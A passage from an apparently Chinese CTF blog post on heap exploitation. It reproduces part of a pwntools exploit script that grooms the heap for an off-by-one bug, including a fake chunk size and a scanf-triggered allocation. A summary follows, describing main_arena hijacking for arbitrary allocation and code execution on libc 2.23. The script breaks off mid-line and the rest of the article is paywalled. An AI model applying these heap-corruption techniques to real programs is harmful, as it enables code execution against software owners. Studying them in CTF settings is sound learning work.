前言:之前刷过这样的题,由于时间原因忘的差不多了,这里捡起两道不相似类型的题进行了大佬的exp学习,这里就不重写exp了,很好理解。一个off-by-one 一个off-by-null
off-by-one exp:
from pwn import *
def add(size, index, content):
sh.sendlineafter('choice >> \n', '1')
sh.sendlineafter('Size : ', str(size))
sh.sendlineafter('index: ', str(index))
sh.sendafter('name:\n', content)
def remove(index):
sh.sendlineafter('choice >> \n', '2')
sh.sendlineafter('idx :', str(index))
def show(index):
sh.sendlineafter('choice >> \n', '3')
sh.sendlineafter('idx :', str(index))
for i in range(6):
add(0x58, i, '\n')
for i in range(5):
remove(i)
add(0x28, 4, '\n')
sh.sendlineafter('choice >> \n', '0' * 0x400)
add(0x58, 0, 'a' * 0x50 + p64(0x61))
add(0x18, 1, '\n')
add(0x50, 2, '\n')
add(0x48, 3, '\n')
remove(1)
remove(5)
add(0x48, 5, '\n')
sh.sendlineafter('choice >> \n', '0' * 0x400)
add(0x18, 0, '\n')
add(0x18, 1, '\n')
show(2)
sh.recvuntil('flo

这篇博客介绍了两种经典的堆溢出漏洞利用技术——off-by-one和off-by-null。作者通过示例代码展示了如何操纵malloc chunk来劫持main arena,从而实现任意地址的内存分配。利用这些技巧,攻击者可以控制程序执行流,执行任意代码。文章还提到了这些技术在libc 2.23版本中的应用,并暗示在2.27版本中可能同样有效。
最低0.47元/天 解锁文章
1万+

被折叠的 条评论
为什么被折叠?



